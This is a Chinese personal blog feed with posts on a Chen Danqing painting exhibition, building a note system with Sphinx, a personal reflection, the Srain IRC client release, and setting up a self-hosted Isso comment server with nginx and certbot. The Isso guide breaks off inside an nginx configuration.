从《意大利女孩》能看出陈丹青不错的造型功底，画的感觉也非常好，颇有大师风范：

意大利女孩

陈老师在下面用歪歪扭扭的笔迹追记：

这张画居然没有丢失。这次画展，这张最好！

我心里暗生喜悦：原来陈老师也最喜欢这一张，我眼光不错。后来写此文的时候一查，其实这张是陈老师在 15 岁的时候临摹 阿列克谢 的习作，对比一下：

Italian Girls by Alexei Harlamoff

自然是不如原作，倒也明白陈丹青为何这么说了。

草图和创作思路

这次展览，除了画本身，还节选了陈老师的绘画日记和在美术期刊上的一些文章。配合大量的小稿，陈当年创作的思路可见一二：

我不怕不成熟的草图，一旦草图上画出精彩的效果我反而会担心，因为戏毕竟在油画上。我尽可能让我在上正稿时仿佛处在第一次画这副画的状态中，那样整个创作过程是主动积极的，充满自信和写生般的敏锐，情绪亦很愉快。为此我常把草图搁置很久才画正稿（有时放几个月），并且一旦画起来，我差不多不看草稿。这不是做不到的，既然一个演员能从头背下一台戏来，一个画家也该有这点背写的能力。事实上打腹稿已经是个默记于心的过程，而草图就是对画面各个角落熟悉把握的过程，如果到了正稿时还处处求证与草图资料，那么作者对于自己要画的还不是很还有底，至少是在被动地创作。

—— 陈丹青《中国美术》1981 年第 2 期

如果我们去到一个地方，想要一些创作，那我以为最好别画太多的写生，至少别光顾写生。创作不全是想出来的，也不全是画出来的，倒是留心看看看来的。到处走走转转，兴许就带回一二个有意思的印象，日后可能搞成一张创作。如果一头插进去写生，当然能带回来一大沓很像样的投降、风景，不过常常仅此而已，你心中的东西不会比写生更多。我有时为这回没画油画写生一遗憾，但念及我获得了比写生更有意思的东西，另一头则满足啦。

—— 陈丹青《中国美术》1981 年第 2 期

在大量的小稿中，有不少带上了文字，用来补充未能用画面良好记录的信息：

四十年后追记

刚才提及展览节选了陈老师的旧文，有意思的是油画院请陈在四十年后对自己当年的文字评价一番，用歪歪扭扭的手写体注在一旁，有感慨，有自嘲。在我的感受是漂亮话居多，自嘲中有一些坦言了自己的退步：

谢天谢地，创作的激情一直都没有离开我 _{追记：现在，创作的激情早就离开我了}

继续画「三个母亲」，我觉得灵感和技巧一天比一天照顾我 _{追记：如今，不肯照顾我了}

这几日刚好有看到了今年陈老师的新作 [2] ，看了一眼后我想所言非虚：

时尚模特写生系列，2021

西藏组画好

康巴汉子 _高清喷绘 _局部

母与子 _高清喷绘

我想对艺术作品的评价，不能脱离其历史背景，1980 年西藏组画问世，彼时文化大革命刚结束 4 年：

… 毕业作品《西藏组画》比他以前的作品在全国产生了更广泛的影响，被认为是冲击文革教条化创作模式的代表作品。[3]

那时候的绘画作品多是什么样子的呢？我们从文化大革命时期的绘画艺术和 📖 Template:文革时期艺术可窥一二。

毛主席去安源郵票 [4]

在这个重大历史事件的余波后，西藏组画选择了一个新颖的、安全的主题，同时（即便抛开了时代背景）它又是真诚的，质朴的，有力的。它当之无愧地成为了中国艺术史上的一个里程碑。

比正稿更好的

相比最终的油画，我更喜欢陈老师为了这些油画而画的大量小稿：

进城草稿之一

三人神态各异，男人喜笑颜开挽着女人走；女人怯生生垂下眉来，紧紧攥住孩子的手；孩子也稍稍露怯，但更多的是好奇，拉着女人的手到处张望。

我非常喜欢这张，放牧的男人在从背后搂住正在喝水的女人，贴在女人背上粗犷的五官组合起来却是一脸的撒娇和宠溺。

我从这张画读到了 「毫无廉耻」的爱和欲望 ：草原辽阔但不至于毫无人迹，男人也不管周围可能有别的牧民，按捺不住对女人的喜欢，就在这天地之间搂抱在一起，天知道接下来还会发生什么。

我所受的教育把我塑造成了羞于表达欲望的人，在我的潜意识里甚至会攻击敢于表达欲望的人—— 可是为什么这张画，能让我给「毫无廉耻」这四个字打上引号呢？

喜欢这样拙拙的五官

母与子草稿之一

忘记下面写的啥了，其实这张看起来单薄了。

当街洗头的藏民

陈老师提及不敢细看裸体，所以这部分是回去后在补充的，我依然觉得画得好。

垂下的头发和背景的形式感很好。

康巴汉子草稿之一

为数不多的水彩草稿，右边的三角形汉子非常好。

脚注

我如何用 Sphinx 建立笔记系统（二）系统架构

2021-05-25T00:00:00+00:00

提示

这是 我如何用 Sphinx 建立笔记系统 系列的第二篇，你可以通过订阅 RSS 来获取后续更新。

截至目前，我的笔记系统看起来是这样子的（使用 📦 sphinxcontrib-plantuml 生成）：

笔记系统架构

Git

我用 Git 仓库来管理整个 Sphinx 项目的版本，用 GitLFS 管理图片资源（后来因为 gitee 不支持又去掉了），仓库沿用之前建立的 ⛺ SilverRainZ/bullet。

一般来说 Sphinx 文档都会托管到 ReadTheDocs，但出于部署和访问的方便，我基于 GitHub Action 写了 ⛺ sphinxnotes/pages，用来自动部署到 GitHub Pages，并使用 ⛺ spyoungtech/mirror-action 和 ⛺ yanglbme/gitee-pages-action 建立了国内的 Gitee 镜像。

小技巧

Github 和其他托管平台会在 Languages 统计时忽略常见的 Markup Languages（如 Markdown、restructuredText），为了让它能被统计，可以建立 .gitattributes 文件加入以下内容 [1]

*.rst linguist-detectable=true

在 GitHub 上可以看到 reStructuredText 被正确统计了：

⛺ SilverRainZ/bullet 的 Languages 统计

Neo(Vim)

我用 Neovim 搭配各种插件编写 reST 文档，关于如何在舒服地用 (Neo)Vim 写 reST，我会再写一篇文章展开。

从终端和 Vim 快速访问

浏览器、Vim 和终端模拟器是我最常待的 Workspaces，前者当然可以方便的访问 Sphinx 生成的 HTML 文档，为了满足从后两者操作文档的需求，我写了 📦 sphinxnotes-snippet ，包含一个 Sphinx 的扩展和一个命令行工具，你可以在刚才的架构图上看到它的角色。

Snippet 扩展

会在构建文档的时候：

自动提取文档片段：标题、代码、图片、段落等
中英文分词
简单地 normalize
提取关键字
中文转化为拼音
建立到文档的索引
然后保存在磁盘上待检索。

扩展本身是「非侵入性」的，不需要用特定的格式编写文档，而是根据 reST 的文档树（doctree）进行提取

Snippet 命令行工具

提供了简洁的命令行接口用以访问上述的索引，基于此在 Zsh 和 Neovim 上实现了对应的插件：

（在 Zsh 或者 Neovim 里）按下快捷键 C-k，后续一个按键给出操作方式，目前支持： v 浏览、e 编辑、u 打开 URL
在 Fzf 中输入关键词以筛选文档片段，支持拼音
对你选中的文档片段执行指定操作

在这之前我「检索外脑」的延迟为 数十秒 ，根据所在 Workspace 的不同有不同的操作：

在浏览器

打开主站或者 Gitee 镜像

根据记忆中的笔记结构一层层点进去
使用 Sphinx 的内建搜索

备注

事实上 Sphinx 内建的搜索不支持中文分词，因此实用程度基本为零

在 Vim

根据记忆中的笔记结构，打开 NERDTree 的侧边栏一层层展开

在终端

cd 到笔记所在目录执行 grep -r 关键字，然而我的笔记中文内容居多（一段时间内我甚至在考虑要不要用英文记笔记方便检索）
根据记忆中的笔记结构一层层 cd 进去，用 Vim 浏览

在使用 Snippet 后这一过程可以压缩到一秒内：

在浏览器: 切换到 Vim 或者终端
在 Vim: 唤醒 Snippet，输入关键词（使用 📦 sphinxcontrib.asciinema 生成）
在终端: 唤醒 Snippet，输入关键词

这一时间的压缩让「记录一些偶尔用又总记不住的命令」有了实用价值：比开 Google 快了许多，更别提梯子挂了时候，命令就在嘴边又记不清的难受劲儿。

此外，编辑笔记的时候也不需要进到 git 仓库里一层一层找文件了，一步直达。

关于 Snippet 的使用，我也会再写一篇文章展开，配合其他工具有非常多的玩法。

描述、引用和索引

一个对象的描述，通常可以抽象为 Key-Value list，特别地，对象的名字和介绍是两个特殊的 Key。reST 中的 Directives 就能够用来写这样的描述：假设我们有一个名为 book 的 directive，尝试用它来描述一本书:

.. book:: 德米安
   :ISBN: 9787509365786
   :作者: 黑塞

   我读过这本书，但好像又跟没读一样。

但 Sphinx 其实并不存在这样的 directive ，它无法被正常地渲染成文档。而 📦 sphinxnotes-any 就是用来做这种事情的：它根据你的配置生成 directives 来描述任意对象，所有的对象都会被保存在一个叫 “any” 的 Domain （理解为命名空间）中，对应的交叉索引用的 role 也会生成，这么说可能有些抽象，我拿用来描述一张画的 artwork directive 来举个例子:

.. artwork:: Bell Rock Lighthouse
   :id: test-1
   :medium: 水彩 铅笔
   :date: 1819
   :size: 8k
   :image: /_images/800px-Joseph_Mallord_William_Turner_-_Bell_Rock_Lighthouse_-_Google_Art_Project.jpg

   随便找的一张 :zhwiki:`透纳` 的画。

会在文档中产生如下内容：

待处理

待修复，see https://github.com/SilverRainZ/silverrainz.github.io/pull/30

备注

可以看到生成的内容比 directive 里写的携带了更多的信息，这其实是 Jinja Template 带来的。

现在你可以用 artwork 系列的 role 来索引这张画：

根据名字索引	:artwork:`Bell Rock Lighthouse`	`Bell Rock Lighthouse`
根据 ID 索引	:artwork:`test-1`	`test-1`
更精确一点	:artwork.id:`test-1`	`test-1`
所有水彩画	:artwork.medium:`水彩`	`水彩`
所有媒介	:ref:`any-artwork.medium`	Artwork Medium Reference Index

我现在用这个扩展来管理我的读书笔记、习作、艺术家记录、友情链接。关于它如何工作，它还能怎么玩，也会有单独的文章来说明。

博客

博客是最难办的一件事情，单纯靠安排笔记的排版确实可以让它看起来像一个博客，但关键的目录、标签、归档、评论功能统统都没有。好在这件事情已经有人做了，并且非常符合 Sphinx 的哲学。

👥 sunpy 社区写了一个叫 📦 ablog 的扩展，用来在 Sphinx 里建立博客，保持兼容最新版的 Sphinx 为目标，开发也非常活跃。你可以看看 ABlog 在我的笔记系统上的效果：Posts

ABlog 支持 Disqus 评论，如果你想用 Self-hosted 的 Isso 的话，可以试试我写的 📦 sphinxnotes-isso，文章底部可以看到 Isso 的评论框。

值得一提的是，Sphinx 生成的 HTML 文档里的侧边栏不是全局的，可以让不同的页面采用不同的侧边栏，因此 ABlog 引入的博客侧边栏不会影响现有的其他的文档：

左：默认 sidebar，右：博客 sidebar

备注

比较遗憾的是，之前使用的 sphinx_rtd_theme 并不听 Sphinx 的 sidebar 配置只能换成了默认的 Alabaster theme

其他扩展

备注

这里仅列出我正在使用的扩展及其效果，想了解它们的具体配置，请看 conf.py ，也许我会写一篇文章里来它们的使用技巧。

📦 sphinxnotes-lilypond

用来显示音符和带试听音频的乐谱

📦 sphinxnotes-strike

提供了 del role 用来显示 reST 不支持的删除线

:del:`Sphinx`

Sphinx

内置扩展 sphinx.ext.extlink

来方便地生成外部链接

:ghuser:`SilverRainZ`

👤 SilverRainZ

⛺ executablebooks/sphinx-design

提供了 reST 不支持的分栏功能（见下），顺便还享用了它内置的 Font Awesome 支持

内置扩展 sphinx.ext.graphviz

用 Dot Language 绘制简单的流程图：

reST

.. digraph::: dot

   Alice -> Bob

效果

📦 sphinxcontrib-plantuml

用 Plant UML 绘制各种图表：

reST

.. uml::

   [Alice] -> [Bob]

效果

📦 sphinxcontrib.email

生成难以被爬虫抓取的邮件地址，防止 SPAM

:email:`foo@example.com`

📦 sphinxcontrib.asciinema

在文档中嵌入 asciinema 录制的终端操作：

.. asciinema:: 117813

效果：

内置扩展 sphinx.ext.githubpages

用于生成部署 GitHub Pages 的 .nojekyll 文件

内置扩展 sphinx.ext.intersphinx

非常有意思的扩展，允许在引用其他 Sphinx 文档的 Domain ，可惜现在没有这个需求

📦 sphinxcontrib.gtagjs: 在页面中嵌入 Google Analytics 代码
📦 sphinx_sitemap: 生成 📖 站点地图以优化搜索引擎排名

脚注

我如何用 Sphinx 建立笔记系统（一）选择 Sphinx 的理由

2021-05-24T00:00:00+00:00

提示

这是 我如何用 Sphinx 建立笔记系统 系列的第一篇，你可以通过订阅 RSS 来获取后续更新。

提示

这个笔记系统是带有强烈个人色彩的需求下诞生的，并不适合所有人，你可以稍作了解，再决定是否继续阅读。

提示

这篇文章作为系列的开场白，非常切题地只讲了我选择 Sphinx 的理由，不感兴趣也可以直接看下一篇文章

^{Render Report}
System Message: ERROR/2 (None, line None); backlink

Render Report:

Failed to render markup text to inline nodes:
'Values' object has no attribute 'tab_width'
（指我自己）在使用一个还未存在的自建笔记系统，每次想写点东西都因为「无法解决依赖」而失败。 [1]

不知何时我养成了一种奇怪的癖好，想读一本有价值的书，没有合适工具记读书笔记，所以不读。想记录一些不成体系的知识，不知道如何组织分类这些碎片，所以不记。想写一篇博客，文章里有一些交叉引用，不想用粗暴的 <a href=xxx> ，所以不写。因噎废食大概就是这样吧。

漫长的尝试

我并非没有在找合适的记录工具，大学时用 OneNote，在我还热衷于成为一个黑客的时候，我用 OneNotes 记下了几十篇 OllyDBG 的学习笔记。那时候云同步功能还不够好，在一次误操作中丢失了部分笔记，从此成为软黑。

后来 GitBook 流行起来，尝试用其管理笔记，缺点有三：

太慢了
Markdown 表达力太孱弱，索引靠手写，引用靠 HTML 链接
打包非常恶心：我曾在 AUR 维护过 📦 nodejs-gitbook，gitbook 提供了一个只许全局安装（Root 下而非 Home 下）的 gitbook-cli 作为安装器，而不允许用户单独安装 gitbook 本身：这让发行版的打包非常困难。

2017 年我开始用 Sphinx 管理我的笔记，reStructuredText 已经很接近我心中理想的 markup language 的样子，结果刚建起一个框架便开始荒废。从那时到现在已经过去了四年，我记录下了些什么呢？——什么都没有

2020 年，3、4 月的时候我尝试用 Golang 从零开始写一个笔记软件，后来发现无论是设计和工作量都不是我单枪匹马能胜任的，最后只留下只有零星几个 commit 的仓库。

5 月，我建立了 ⛺ SilverRainZ/bullet 仓库准备再试试 Sphinx，之后学画需要记大量的笔记，将他们电子化也是一个强大的驱动力。

9 月的时候生病，居然也因祸得福，捡到了几个月的疗养时间。在家的时候里我好好学习了一下 Sphinx 和 Docutils，思考各种类型的文档要如何组织，尝试使用社区提供的各种扩展来增强文档的功能，再后来发现自己的需求社区并不能满足，便自己建立了一个一人社区 👥 sphinx-notes。

2021 年，在陆续完善一些关键的 Sphinx 扩展之后，我的笔记系统发出了响亮的第一声啼哭开始慢慢形成了。

需求

在漫长的寻找中我慢慢明确了自己的需求，以及自己心目中的笔记系统是什么样子的。

我希望 笔记被良好分类且结构合理 ，对目录（Table Of Content）、交叉引用（Cross Reference）有一定需求
- 我有一个博客，我认为它一种生产级别的笔记，应当作为系统的一部分
- 一些不成体系的笔记片段有碎片化的属性，我需要他们能被合理组织
我希望能 结构化地描述笔记中的对象 ，并对它们进行引用、索引和分类，听起来有些强迫症但并非空穴来风：
- 我的绘画训练计划中包含大量的习作，我用希望用统一的方式记录他们的日期、尺幅、媒介，例如：Artwork Medium Reference Index
- 我在学艺术史，以艺术家为脉络的话，我可以建立这样的索引：Artist Reference Index
- 我的朋友们经常会出现在我的行文中，我想漂亮地 mention 到 TA，比如 ^{Render Report}
  System Message: ERROR/2 (None, line None); backlink
  
  Render Report:
  
  Failed to render markup text to inline nodes:
  'Values' object has no attribute 'tab_width'
  ，其实也是避免冗余的一个方式
我是 Linux 用户（B.T.W. Arch Linux [2]），我在终端下工作，我希望我的笔记在终端能被良好地检索和浏览
我偏爱纯文本，作为曾经的 Mircosoft Word 的用户，我不喜欢复杂的富文本带来的难以预测的排版问题，以及兼容问题
我乐于折腾配置，有一定的编程经验：我清楚自己的需求特殊，愿意为此折腾，包括写一些代码

指标

我将上面的需求尽量转化为一些指标用于选型：

使用纯文本

就编辑体验的一环来说，富文本往往绑定一个复杂的，羸弱（想想论坛编辑器）或者难以预料的（想想 MS Word）的编辑器，这当然不能怪他们，富文本编辑真是是太难了

纯文本给我一种踏实感：

不会产生冗余代码 -- 你写什么它就是什么
不限制编辑器 -- 我可以继续用 (Neo)Vim

备注

其实不一定，看看 VimWiki、Org-mode
容易自动化地修改

表达能力及格

笔记系统所使用的表达方式（Markup language、富文本）要有一定的表达能力，对于书写中的常用格式（链接，引用，代码块、脚注、表格、提示、图片）都要有足够支持。

标准可扩展

在前面的指标里为什么我不要求「表达能力强」呢？

强实际上意味着集成度高，和后面某一条指标相悖
强也意味着 Domain Specified，所有的通用 Markup language 都无法做到方方面面让人满意，笔记写多了总有自己的特殊需求。富文本里能打的可能只有也 OneNote 一个 —— 但我怎么可能去用它呢（笑）

因此，够用就行—— 只要系统是可扩展，我们自己动手把它变强。

B.T.W. 我不喜欢所有使用 Markdown 方言的笔记软件，这是不「标准」的扩展方式。

自由开源

我不信任商业软件、共享软件：软件项目会倒闭，会改变定价，会做 Breaking Change，会停止维护——当然自由软件也会，只是你和社区并非无能为力

组件化

我希望我的系统最终是由多个组件组合而成的，组件化意味着 复杂度被分摊到了不同的组件上 ，在未来某一个项目跑路的时候，我只需要寻找它那一部分的替代品就好了。

目的单纯

承上，在系统里负责解释和渲染笔记的核心组件几乎是不可替代的，那么我希望那个它是目的是单纯且稳定的。如果它还多做了很多事情。比如说发布系统、帐号体系、权限控制，甚至 APP 等，又或者它是某个庞大项目的附庸，那么我也倾向于不使用它。

reStructuredText + Sphinx

其实上面写一堆有些 📖 先射箭再画靶的意思了，如题，最终我选择了 reStructuredText + Sphinx 作为笔记系统的核心。

现在介绍会不会太晚？

is an easy-to-read, what-you-see-is-what-you-get plaintext markup syntax and parser system. … reStructuredText is designed for extensibility for specific application domains. [3]

Sphinx is a tool that makes it easy to create intelligent and beautiful documentation, written by Georg Brandl and licensed under the BSD license. It was originally created for the Python documentation, and it has excellent facilities for the documentation of software projects in a range of languages. [4]

针对上面的指标，reStructuredText（下称 reSt） + Sphinx 具有哪些优势呢？

reST 虽然稍显繁琐，但其表达能力非常优秀（从本文可见一斑）
"reST is designed for extensibility for specific application" 这不就是我想要的吗？
Sphinx 作为 Python 官方的文档生产系统，久经考验，同时也被大量著名非 Python项目（Blender、DPDK、Linux Kernel）采用
Sphinx 在 reST 的基础上实现了优秀的扩展机制，同时有大量的现成的扩展可用

更细节一点，Sphinx 提供的功能直击我的痛点（组合拳来一套）：

toctree 指令能将文档以树状的形式组织起来
交叉引用功能非常全面
Domain 机制为后续的描述、引用和索引提供了基础

除此之外，单纯靠 Sphinx 无法达到的指标，我用扩展 + 其他组件搞定，请看下一篇文章：我如何用 Sphinx 建立笔记系统（二）系统架构。

脚注

嘿，我去 2010

2021-03-21T00:00:00+00:00

6 月我从长亭科技离职，去燕郊 @李晓飞老师处学画，课题是基础素描。

上次正经学素描还是高中，2010 年我上高一，一晃十年已经过去。看《乐队的夏天》，盘尼西林唱了朴树的《New Boy》之后，张亚东哽咽道：

「当年大家都是小孩，而且觉得 2000 年要来了，那时候我们写歌叫《我去 2000 年》。大家对 2000 年都有很多期待，觉得一切都会变得很好。结果，好吧，就是我们都老了。」

我已经忘记了十年前我对未来的自己有什么期待，也或许那时没有许下任何期待。我在离职那一天，在朋友圈发了五月天的《嘿，我要走了！》，配上的文字是：「我去 2010。」

对，我好像对接下来的时间抱有很多期待，觉得一切都会变得很好，就像 2010 年的我过得无忧无虑一样。

新的时代是要来了，可惜是乱纪元。对于世界来说，新时代是新冠，是名人的去世，是动乱的格局，对我来说，是重新被情绪打败，是凝视深渊然后被深渊吞噬。

9 月的时候生了病，经历了非常多痛苦的事情，有些人不请自来，伤害我，爱我，我也被伤害，然后爱上，最后也伤害她。事情的收尾是不体面的，我从来不是一个完美受害者，甚至我才是真正的加害者，我只是因为过分软弱，被宽容，被同情罢了。我什么都不能再做了，再动弹一下都会让事情更坏。事件的余波到现在还在发挥着影响，但未来总是会落定吧。时间会推着我往前走。只是我大不相同了。就如同画 ^{Render Report}

时我所想的:

那时我的脑子里还没有辞职的念头，工作日的脑子装着代码和工单，只有周末才能假扮艺术家。每天夜里都有孤独的时候，醒来又是健全的一个人。

现在的燕郊也下雪，脑子里是光和影子，看不懂的形体的和可爱的人儿。我好像可以自诩艺术家，但无法称之为人了。每天要吃一大把的药，醒来和不醒来没有区别。

再见啦，我的 2010，再见啦，那个一点都不胖的人。

博客迁移到 Sphinx

2020-12-26T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

备注

因此标题是指「博客从 Jekyll 迁移到 Sphinx」

近半年发生了非常大的事情，死去又活来，居然也因祸得福，捡到了几个月的疗养时间。在这段时间里我慢慢把自己理想中的 PIM 系统架设起来。

2017 年我用 Sphinx 管理我的笔记，结果建完便开始荒废，那时候英语非常差，即使把 Sphinx 文档读下来也不明所以，用不好应该也是理所当然吧。

5 月的时候，我已经建好了 SilverRainZ/bullet 仓库准备再试试 Sphinx，之后学画需要记大量的笔记，将他们电子化也是一个强大的驱动力。

于是在偷闲的这段时间里我好好学习了一下 Sphinx 和 Docutils，思考各种信息要如何组织，试用社区提供的各种扩展，其中不少年久失修，也就写了一些扩展来满足自己的需求，顺便回馈社区。

个人主页、笔记、画、随记，甚至谱子也都被我慢慢搬进了 Sphinx。博客是最难办的一件事情，不用插件就不像博客，写个插件工作量又巨大，好在这件事情已经有人做了，并且做得非常舒服，完全符合我的想象。

sunpy 社区写了一个叫 ablog 的 Sphinx 扩展，归类、标签、归档、RSS 应有尽有，开发也非常活跃。

很棒的一点是 Sphinx 的 sidebar 并不是全局的，可以用 glob pattern 让不同的页面用不同的 sidebar，ablog 引入的博客侧边栏并不会影响其他的文档。但遗憾的是，正在使用的 sphinx_rtd_theme 并不听 Sphinx 的 sidebar 配置，因此还是换到了 Alabaster。

文章没有用，本着不做 breaking change 的原则，还是迁移过去了，所以有了这篇没有人看的通知。

最重要的，新的博客地址是 https://silverrainz.me/blog/ , tech.silverrainz.me 之后会 redirect 到新地址。

Srain 1.0 发布了

2020-04-06T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

前注

这篇短文之前在知乎和朋友圈都发过了，发到博客仅为存档，另也做了一些小的修正和改动。不知道这里何时能够不荒废。

⛺ SrainApp/srain 是一个我业余时间开发的 GTK3 IRC 客户端。代码托管在 github 上。

2015 年末的时候，我刚写完了自己的玩具内核 OS67，处于一段不知道做点什么东西的过渡期。

同年我已经开始用 openSUSE，为了解决一些问题尝试在 IRC 上提问。再后来开始用 Arch Linux，整天挂在 #archlinux-cn （那个时候还没有 offtopic）里灌水，大概在 2016 年年后，我开始了 Srain 的开发，初衷是因为没有一个用起来顺手的 IRC 客户端，后来因为 GSoC、学画、沉迷 Minecraft、实习、毕业、工作各种各样的事情，也因为能力不足， Srain 的开发进度一直很缓慢，甚至砍掉了一些规划好的功能。

在开发过程中经常能收到一些嘲讽或者不解：你在玩自己的开源过家家游戏、IRC 正在慢慢死掉、你在做没有意义的事情。他们说得都对，但我是一个把沉没成本看得过分重的人，所以我做到了现在。

我也能听到一些支持的声音：evacchi 在 Reddit 上帮我打广告；tim77 帮我做了俄文翻译； xeirrr 帮我写了 gentoo 的构建脚本；cpba 和 Hexchat 作者 TingPing 帮我指出了一些 FreeDesktop 上不规范的地方； Arch Linux CN 社区的 zwindl 和 VOID001 愿意和我共同维护这个项目（尽管最后「此事古难全」了）；在漫长的开发过程里，Srain 也慢慢走进了 Flathub、Fedora、openSUSE、openBSD 的官方仓库中。（Update：截至 2020-04-26，又多了 NetBSD、 Void Linux 和 OpenMandriva）

下面这篇文章介绍了 Srain 1.0 所拥有的特性以及未来的开发计划，如果有其他发行版的 maintainer 愿意将 Srain 加入你们的软件源，欢迎联系我。 Srain 未来会继续开发下去，跟着 IRC 一起慢慢消失在历史里。

Modern IRC client written in GTK.

Updated on 2020-04-06

从 02-29 发布后截至 2020-04-06，Srain 又进入了三个发行版的官方仓库，合并了 8 位社区贡献者的 PR，收到了数十个来自社区的反馈，发布了三个版本，尽管在（只能称之为火花的）宣传热度过去后，来自社区的贡献会慢慢变少，但我相信是会有人受益于这个软件的吧，一切都会顺利进行的吧，I pray。

从多说迁移到 Isso

2017-06-10T00:00:00+00:00

提示

这是一篇迁移自 Jekyll 的文章，如有格式问题，可到 ⛺ SilverRainZ/bullet 反馈

前阵子多说对外宣布它将在 2017 年 6 月 1 日停止服务。截至 6 月 9 日，评论框已经无法使用，甚至我的评论管理后台的域名也已经停止解析了。

这其实是意料之中的事情，缺乏盈利途径的多说长久以来一直处于缺乏维护的状态，三头两头挂一次，这次终于撑不下去了。总之还是感谢这一两年来多说它提供的方便又免费的评论服务。即使是这么一个没人看的小博客，评论功能也是不可缺少的，感谢归感谢，我还是得找个下家 :-) 。

为什么是 Isso

我所见的各种静态博客用得最多的还是 Disqus，曾经我也是 Disqus 的用户，但是 Disqus 存在着一些问题：

被墙，这当然不是 Disqus 本身的问题，这甚至不算是个问题
评论无法彻底被删除，我曾经在 #archlinux-cn 讨论过这个问题，有人说既然你把数据公开地 post 到网上来了，就别想着它能够被删除，因为任何人都可以将他备份起来。我不敢苟同，数据是公开的没错，但作为这个评论系统的管理员，我应当有权利让这些数据从我「管辖」的范围内删除，而 Disqus 并没有给我这样的权利。更重要的是，看着这样删不掉的数据真的是太不爽了
非 Disqus 用户无法方便地评论，甚至会诱导你注册帐号

经过这次多说的关闭，我还是倾向于寻找一个开源的，能自己架设的评论系统。 biergaizi 在微博推荐了 Disqus 的开源替代：Isso，Isso 在 Github 上有 2k+ 的 stars，开发虽然看起来不活跃但也不至于死掉，官网的 Demo 看起来不错， AUR 里面还有有现成的包能用，于是就决定是你了，Isso！

我的博客托管在 Github 上，源码存放于： https://github.com/SilverRainZ/tech， Isso 则将部署在一台跑着 Arch Linux 的小破 vps 上。 以下的操作均针对该代码仓库以及 vps 上的 Arch 环境。

架设服务

首先从 AUR 安装安装 Isso：

$ yaourt -S isso

其依赖 python-misaka-v1 和 python-html5lib-9x07 也是 AUR 包，yaourt 也会帮我们安装上。AUR 虽好，但在安装的时候最好还是检查一下 PKGBUILD 和 .install 文件，以避免来自收到来自一些混乱邪恶的打包者的恶意（比如前阵子就有人在 Pypi 和 Gem 投了恶意包 Orz）。

考虑把 Isso 收养到 archlinuxcn 源里，这个以后再说吧……

安装完成后，打开 /etc/isso.conf 文件，文件对各个配置项都有详细的解释，需要重点关注的配置如下：

# Isso configuration file
[general]
# 数据库地址，默认值是在 /tmp 里，无法持久化
dbpath = /var/lib/isso/comments.db
# 使用 Isso 的网站地址，从不在这个列表里的地址发出的评论会被忽略
host =
    http://tech.silverrainz.me/
    https://tech.silverrainz.me/
...

# 日志
log-file = /var/isso.log

[server]
# 监听端口
listen = http://localhost:8080
...

[guard]
# 开启 SPAM 保护
enabled = true
# 每分钟内最多五个新评论
ratelimit = 5
# 评论不需要填写邮箱
require-email = false
...

更详细的配置参考： Server Configuration

填写配置之后执行 systemctl start isso.service 就能启动 Isso 了。但注意配置文件里监听的是本地地址的端口，这里将用 nginx 反向代理将连接转发给 Isso。

nginx 配置如下（参考 Running Isso）：

server {
    listen [::]:80;
    server_name comments.silverrainz.me;

    location / {
        proxy_pass http://localhost:8080;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

其中 comments.silverrainz.me 是指向 vps 的域名，你需要在域名所使用的 DNS 服务器提供者那里修改 A 记录。

邮件通知

// TODO

还不会配 SMTP，先搁着。

客户端

只要在网页中插入如下代码即可插入评论框：

<script data-isso="//comments.silverrainz.me/"
        src="//comments.silverrainz.me/js/embed.min.js"></script>

<section id="isso-thread"></section>

Jekyll's Way

对于 Jekyll 博客，比较好的做法是 _includes 目录下在建立 comments 文件用来存放评论框代码：

<link rel="stylesheet" href="{{ site.baseurl }}/assets/comments.css">

<script data-isso="//comments.silverrainz.me/"
        src="//comments.silverrainz.me/js/embed.min.js"></script>

<section id="isso-thread"
         data-title="{{ page.title }}"
         data-isso-id="{{ page.id }}"></section>

其中 data-isso-id 和 data-title 用来指定文章的唯一标识符和标题。为每个文章指定标识符便于以后的各种迁移。{{ page.id }} 和 {{ page.title }} 是 Jekyll 提供的模板，用于获取本页面的 ID 和标题。 title 和 id 可以在文件的 yaml 头中设置，但 Jekyll 会为 _posts 中的文章自动生成 ID，对于 _post/2017-06-10-switch-from-duoshuo-to-isso.md，其 ID 是 /2017/06/10/switch-from-duoshuo-to-isso。

然后在页面模板 _layouts/page.html 里面引用 comments 文件： {% include comments %} 就可以在每个使用了 page 模板的网页上显示评论框了。

详情请参见：Commit: Replace duoshuo with isso

HTTPS

对于启用了 HTTPS 的博客来说，部署还没有结束：在 HTTPS 页面（博客）中引用的 HTTP 脚本 (http://comments.silverrainz.me/js/embed.min.js) 被认为是危险的 Mixed Content，现代浏览器会拒绝加载它们，因此评论框并不能显示出来。

还好我们有 Let's Encrypt，给 Isso 上 HTTPS 并不是难事。

只要验证了你对域名的所有权，Let's Encrypt 就为你签发证书，整个签发过程通过 certbot 完成，certbot 位于 [Community] 源中。验证所有权可以通过让 Let's Encrypt 访问你的网站上的随机验证文件完成，如果你使用 nginx 的话，更简单的方式是安装软件包 certbot-nginx，指定 certbot 使用 nginx 验证方式即可。

# pacman -S certbot certbot-nginx

运行 certbot 申请证书需要各种参数，参数也可以写在配置文件中，方便续签证书使用，假设配置文件地址为 /etc/letsencrypt/cli.ini：

rsa-key-size = 4096
domains = comments.silverrainz.me
email = <e-mail address>
authenticator = nginx

其中 domains 是一个用逗号分隔的域名列表，可以让一个证书能用在多个域名上。 authenticator = nginx 需要你安装 certbot-nginx。

certbot 的更多用法见：User Guide

执行以下命令申请证书：

# certbot -c /etc/letsencrypt/cli.ini certonly

接着按 certbot 的输出提示操作即可，当你看到类似信息的时候，说明证书已经申请成功了：

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/comments.silverrainz.me/fullchain.pem.
 - ...

获得证书后，修改 nginx 中 comments.silverrainz.me 的 server blcok：

server {
    listen 443 ssl http2;
    listen [::]:443 ssl http2;

    ssl_certificate /etc/letsencrypt/live/comments.silverrainz.me/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/comments.silverrainz.me/privkey.pem;
    ssl_trusted_certificate /etc/letsencrypt/live/comments.silverrainz.me/chain.pem;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;
    ssl_prefer_server_ciphers on;
